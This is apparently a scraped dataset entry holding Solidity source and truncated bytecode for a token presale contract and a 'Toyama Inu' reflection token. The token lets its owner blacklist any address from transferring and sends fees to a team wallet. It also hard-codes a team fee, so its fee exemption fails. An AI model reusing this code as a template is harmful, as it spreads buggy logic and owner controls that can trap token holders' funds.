address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } /** * @dev Returns true if the caller is the current owner. */ function isOwner() public view returns (bool) { return msg.sender == _owner; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * > Note: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require( newOwner != address(0), "Ownable: new owner is the zero address" ); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // https://docs.synthetix.io/contracts/SafeDecimalMath library SafeDecimalMath { using SafeMath for uint; /* Number of decimal places in the representations. */ uint8 public constant decimals = 18; uint8 public constant highPrecisionDecimals = 27; /* The number representing 1.0. */ uint public constant UNIT = 10**uint(decimals); /* The number representing 1.0 for higher fidelity numbers. */ uint public constant PRECISE_UNIT = 10**uint(highPrecisionDecimals); uint private constant UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR = 10**uint(highPrecisionDecimals - decimals); /** * @return Provides an interface to UNIT. */ function unit() external pure returns (uint) { return UNIT; } /** * @return Provides an interface to PRECISE_UNIT. */ function preciseUnit() external pure returns (uint) { return PRECISE_UNIT; } /** * @return The result of multiplying x and y, interpreting the operands as fixed-point * decimals. * * @dev A unit factor is divided out after the product of x and y is evaluated, * so that product must be less than 2**256. As this is an integer division, * the internal division always rounds down. This helps save on gas. Rounding * is more expensive on gas. */ function multiplyDecimal(uint x, uint y) internal pure returns (uint) { /* Divide by UNIT to remove the extra factor introduced by the product. */ return x.mul(y) / UNIT; } /** * @return The result of safely multiplying x and y, interpreting the operands * as fixed-point decimals of the specified precision unit. * * @dev The operands should be in the form of a the specified unit factor which will be * divided out after the product of x and y is evaluated, so that product must be * less than 2**256. * * Unlike multiplyDecimal, this function rounds the result to the nearest increment. * Rounding is useful when you need to retain fidelity for small decimal numbers * (eg. small fractions or percentages). */ function _multiplyDecimalRound( uint x, uint y, uint precisionUnit ) private pure returns (uint) { /* Divide by UNIT to remove the extra factor introduced by the product. */ uint quotientTimesTen = x.mul(y) / (precisionUnit / 10); if (quotientTimesTen % 10 >= 5) { quotientTimesTen += 10; } return quotientTimesTen / 10; } /** * @return The result of safely multiplying x and y, interpreting the operands * as fixed-point decimals of a precise unit. * * @dev The operands should be in the precise unit factor which will be * divided out after the product of x and y is evaluated, so that product must be * less than 2**256. * * Unlike multiplyDecimal, this function rounds the result to the nearest increment. * Rounding is useful when you need to retain fidelity for small decimal numbers * (eg. small fractions or percentages). */ function multiplyDecimalRoundPrecise(uint x, uint y) internal pure returns (uint) { return _multiplyDecimalRound(x, y, PRECISE_UNIT); } /** * @return The result of safely multiplying x and y, interpreting the operands * as fixed-point decimals of a standard unit. * * @dev The operands should be in the standard unit factor which will be * divided out after the product of x and y is evaluated, so that product must be * less than 2**256. * * Unlike multiplyDecimal, this function rounds the result to the nearest increment. * Rounding is useful when you need to retain fidelity for small decimal numbers * (eg. small fractions or percentages). */ function multiplyDecimalRound(uint x, uint y) internal pure returns (uint) { return _multiplyDecimalRound(x, y, UNIT); } /** * @return The result of safely dividing x and y. The return value is a high * precision decimal. * * @dev y is divided after the product of x and the standard precision unit * is evaluated, so the product of x and UNIT must be less than 2**256. As * this is an integer division, the result is always rounded down. * This helps save on gas. Rounding is more expensive on gas. */ function divideDecimal(uint x, uint y) internal pure returns (uint) { /* Reintroduce the UNIT factor that will be divided out by y. */ return x.mul(UNIT).div(y); } /** * @return The result of safely dividing x and y. The return value is as a rounded * decimal in the precision unit specified in the parameter. * * @dev y is divided after the product of x and the specified precision unit * is evaluated, so the product of x and the specified precision unit must * be less than 2**256. The result is rounded to the nearest increment. */ function _divideDecimalRound( uint x, uint y, uint precisionUnit ) private pure returns (uint) { uint resultTimesTen = x.mul(precisionUnit * 10).div(y); if (resultTimesTen % 10 >= 5) { resultTimesTen += 10; } return resultTimesTen / 10; } /** * @return The result of safely dividing x and y. The return value is as a rounded * standard precision decimal. * * @dev y is divided after the product of x and the standard precision unit * is evaluated, so the product of x and the standard precision unit must * be less than 2**256. The result is rounded to the nearest increment. */ function divideDecimalRound(uint x, uint y) internal pure returns (uint) { return _divideDecimalRound(x, y, UNIT); } /** * @return The result of safely dividing x and y. The return value is as a rounded * high precision decimal. * * @dev y is divided after the product of x and the high precision unit * is evaluated, so the product of x and the high precision unit must * be less than 2**256. The result is rounded to the nearest increment. */ function divideDecimalRoundPrecise(uint x, uint y) internal pure returns (uint) { return _divideDecimalRound(x, y, PRECISE_UNIT); } /** * @dev Convert a standard decimal representation to a high precision one. */ function decimalToPreciseDecimal(uint i) internal pure returns (uint) { return i.mul(UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR); } /** * @dev Convert a high precision decimal to a standard decimal representation. */ function preciseDecimalToDecimal(uint i) internal pure returns (uint) { uint quotientTimesTen = i / (UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR / 10); if (quotientTimesTen % 10 >= 5) { quotientTimesTen += 10; } return quotientTimesTen / 10; } } contract IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); function mint(address account, uint256 amount) public returns (bool); function burn(uint256 amount) public returns (bool); } contract ELLA_Presale is Ownable { address private ELLACoinddress; uint256 private price; address private messenger; using SafeMath for uint256; using SafeDecimalMath for uint; constructor(address _ELLACoinddress, uint256 _initialPrice) public { ELLACoinddress = _ELLACoinddress; price = _initialPrice; emit Deployed(_initialPrice, _ELLACoinddress); } event bought(address _buyer, uint256 _paid, uint256 _given, uint _price); event priceChanged(address initiator, uint256 _from, uint256 _to); event messengerChanged(address _from, address _to); event Deployed(uint256 _initialPrice, address _ELLACoinddress); modifier onlyMessenger() { require(msg.sender == messenger, "caller is not a messenger"); _; } function updatePrice(uint256 _price) public onlyMessenger { uint256 currentprice = price; price = _price; emit priceChanged(msg.sender, currentprice, _price); } function setMessenger(address _messenger) public onlyOwner { address currentMessenger = messenger; messenger = _messenger; emit messengerChanged(currentMessenger, _messenger); } function setELLACoin(address _ELLACoinddress) public onlyOwner { ELLACoinddress = _ELLACoinddress; } function getPrice() public view returns (uint256 _price) { return price; } function buyer() public payable { require(msg.value > 0, "Invalid amount"); uint256 amount = msg.value; //.mul(10**18); IERC20 ELLACoin = IERC20(ELLACoinddress); uint256 amountToSend = amount.divideDecimal(price).multiplyDecimal(10**18); require( ELLACoin.transfer(msg.sender, amountToSend), "Fail to send fund" ); emit bought(msg.sender, msg.value, amountToSend, price); } function withdrawAllEtherByOwner() public onlyOwner { msg.sender.transfer(address(this).balance); } function getContractEtherBalance() public view returns (uint256) { return address(this).balance; } }
0x60806040526004361061009c5760003560e01c80638d6cc56d116100645780638d6cc56d146101555780638da5cb5b146101905780638f32d59b146101e757806398d5fdca14610216578063ea2858d514610241578063f2fde38b146102925761009c565b806330e76dae146100a157806366285967146100cc578063715018a61461011d5780637150d8ae146101345780637c74cabd1461013e575b600080fd5b3480156100ad57600080fd5b506100b66102e3565b6040518082815260200191505060405180910390f35b3480156100d857600080fd5b5061011b600480360360208110156100ef57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506102eb565b005b34801561012957600080fd5b50610132610468565b005b61013c6105a1565b005b34801561014a57600080fd5b5061015361082c565b005b34801561016157600080fd5b5061018e6004803603602081101561017857600080fd5b81019080803590602001909291905050506108ef565b005b34801561019c57600080fd5b506101a5610a37565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156101f357600080fd5b506101fc610a60565b604051808215151515815260200191505060405180910390f35b34801561022257600080fd5b5061022b610ab7565b6040518082815260200191505060405180910390f35b34801561024d57600080fd5b506102906004803603602081101561026457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ac1565b005b34801561029e57600080fd5b506102e1600480360360208110156102b557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b7f565b005b600047905090565b6102f3610a60565b610365576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fa498569ed1874d00b4a12e3a2ae07d9dbff2985c04ea8af7dbfdd192e073f7f18183604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a15050565b610470610a60565b6104e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60003411610617576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f496e76616c696420616d6f756e7400000000000000000000000000000000000081525060200191505060405180910390fd5b60003490506000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000610674670de0b6b3a764000061066660025486610c0590919063ffffffff16565b610c3b90919063ffffffff16565b90508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156106fd57600080fd5b505af1158015610711573d6000803e3d6000fd5b505050506040513d602081101561072757600080fd5b81019080805190602001909291905050506107aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4661696c20746f2073656e642066756e6400000000000000000000000000000081525060200191505060405180910390fd5b7f28b1977dfb45a1b47c05527a2a44ef4a345500332efdbd66caf9c58704a1362b333483600254604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200184815260200183815260200182815260200194505050505060405180910390a1505050565b610834610a60565b6108a6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f193505050501580156108ec573d6000803e3d6000fd5b50565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f63616c6c6572206973206e6f742061206d657373656e6765720000000000000081525060200191505060405180910390fd5b60006002549050816002819055507fd768760f369eedc25f8687dd40c4dae85a9dc6611bdd56931206f33001864fb1338284604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828152602001935050505060405180910390a15050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614905090565b6000600254905090565b610ac9610a60565b610b3b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b610b87610a60565b610bf9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b610c0281610c68565b50565b6000610c3382610c25601260ff16600a0a86610dac90919063ffffffff16565b610e3290919063ffffffff16565b905092915050565b6000601260ff16600a0a610c588385610dac90919063ffffffff16565b81610c5f57fe5b04905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610cee576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180610f436026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080831415610dbf5760009050610e2c565b6000828402905082848281610dd057fe5b0414610e27576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180610f696021913960400191505060405180910390fd5b809150505b92915050565b6000610e7483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610e7c565b905092915050565b60008083118290610f28576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610eed578082015181840152602081019050610ed2565b50505050905090810190601f168015610f1a5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581610f3457fe5b04905080915050939250505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a265627a7a7231582063aa8e60a1d653b5f9c1782d12ecbe2e2cb0114b48340d6f61d1c063b996c1cc64736f6c63430005110032
{"success": true, "error": null, "results": {}}
7,211
0xa5d5f8e4428ba2073caaec222150d6a98e2f7617
// telegram : https://t.me/ToyamaInu // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract ToyamaInu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Toyama Inu"; string private constant _symbol = " TYMINU "; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 1; uint256 private _teamFee = 4; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1) { _teamAddress = addr1; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 1; _teamFee = 4; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (60 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = false; _maxTxAmount = 100000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, 5); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612e50565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612973565b61045e565b6040516101789190612e35565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612ff2565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612924565b61048d565b6040516101e09190612e35565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612896565b610566565b005b34801561021e57600080fd5b50610227610656565b6040516102349190613067565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906129f0565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612896565b610783565b6040516102b19190612ff2565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612d67565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612e50565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612973565b61098d565b60405161035b9190612e35565b60405180910390f35b34801561037057600080fd5b5061038b600480360381019061038691906129af565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612a42565b6110d3565b005b3480156103f057600080fd5b5061040b600480360381019061040691906128e8565b61121c565b6040516104189190612ff2565b60405180910390f35b60606040518060400160405280600a81526020017f546f79616d6120496e7500000000000000000000000000000000000000000000815250905090565b600061047261046b6112a3565b84846112ab565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611476565b61055b846104a66112a3565b6105568560405180606001604052806028815260200161372b60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c359092919063ffffffff16565b6112ab565b600190509392505050565b61056e6112a3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612f32565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612f32565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a3565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c99565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d05565b9050919050565b6107dc6112a3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612f32565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f2054594d494e5520000000000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a3565b8484611476565b6001905092915050565b6109b36112a3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612f32565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613308565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffff